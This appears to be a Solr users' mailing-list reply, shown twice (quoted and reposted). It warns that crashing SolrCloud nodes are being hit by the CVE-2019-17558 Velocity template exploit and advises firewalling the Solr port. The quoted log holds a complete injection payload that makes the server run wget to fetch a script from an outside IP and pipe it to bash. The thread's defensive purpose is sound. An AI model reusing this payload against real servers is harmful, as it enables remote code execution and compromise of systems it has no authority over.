<https://www.tenable.com/cve/CVE-2019-17558>
On 2/3/21 2:42 PM, TK Solr wrote:
> Victor & Satish,
>
> Is your Solr accessible from the Internet by anyone? If so, your site is being
> attacked by a bot using this security hole:
>
> https://www.tenable.com/blog/cve-2019-17558-apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability
>
>
> If that is the case, try blocking the Solr port from the Internet.
>
> My client's Solr was experiencing the sudden death syndrome. In the log, there
> were strange queries very similar to what you have here:
>
>> webapp=/solr path=/select
>> params={*q=1&v.template=custom&v.template.custom=#set($x%3D'')+#set($rt%3D$x.class.forName('java.lang.Runtime'))+#set($chr%3D$x.class.forName('java.lang.Character'))+#set($str%3D$x.class.forName('java.lang.String'))+#set($ex%3D$rt.getRuntime().exec($str.valueOf('bash,-c,wget+-q+-O+-+http://193.122.159.179/f.sh+|bash').split(",")))+$ex.waitFor()+#set($out%3D$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end&wt=velocity*}
>> status=400 QTime=1
>> 2020-12-20 08:49:07.029 INFO (qtp401424608-8687)
>> [c:sitecore_submittals_index s:shard1 r:core_node1
>> x:sitecore_submittals_index_shard1_replica3] o.a.s.c.PluginBag Going to
>> create a new queryResponseWriter with {type = queryResponseWriter,name =
>> velocity,class = solr.VelocityResponseWriter,attributes = {startup=lazy,
>> name=velocity, class=solr.VelocityResponseWriter, template.base.dir=,
>> solr.resource.loader.enabled=true, params.resource.loader.enabled=true},args
>> =
>> {startup=lazy,template.base.dir=,solr.resource.loader.enabled=true,params.resource.loader.enabled=true}}
>
> We configured the firewall to block the Solr port. After that, my client's
> Solr node has been running for 4 weeks so far. I think this security hole
> doesn't just leak the information but it can also kill the Solr process.
>
> TK
>
>
>
Re: SolrCloud keeps crashing
Posted by TK Solr <tk...@sonic.net>.
Victor & Satish,
Is your Solr accessible from the Internet by anyone? If so, your site is being
attacked by a bot using this security hole:
https://www.tenable.com/blog/cve-2019-17558-apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability
If that is the case, try blocking the Solr port from the Internet.
My client's Solr was experiencing the sudden death syndrome. In the log, there
were strange queries very similar to what you have here:
> webapp=/solr path=/select params={*q=1&v.template=custom&v.template.custom=#set($x%3D'')+#set($rt%3D$x.class.forName('java.lang.Runtime'))+#set($chr%3D$x.class.forName('java.lang.Character'))+#set($str%3D$x.class.forName('java.lang.String'))+#set($ex%3D$rt.getRuntime().exec($str.valueOf('bash,-c,wget+-q+-O+-+http://193.122.159.179/f.sh+|bash').split(",")))+$ex.waitFor()+#set($out%3D$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end&wt=velocity*} status=400 QTime=1
> 2020-12-20 08:49:07.029 INFO (qtp401424608-8687) [c:sitecore_submittals_index s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] o.a.s.c.PluginBag Going to create a new queryResponseWriter with {type = queryResponseWriter,name = velocity,class = solr.VelocityResponseWriter,attributes = {startup=lazy, name=velocity, class=solr.VelocityResponseWriter, template.base.dir=, solr.resource.loader.enabled=true, params.resource.loader.enabled=true},args = {startup=lazy,template.base.dir=,solr.resource.loader.enabled=true,params.resource.loader.enabled=true}}
We configured the firewall to block the Solr port. After that, my client's Solr
node has been running for 4 weeks so far. I think this security hole doesn't
just leak the information but it can also kill the Solr process.
TK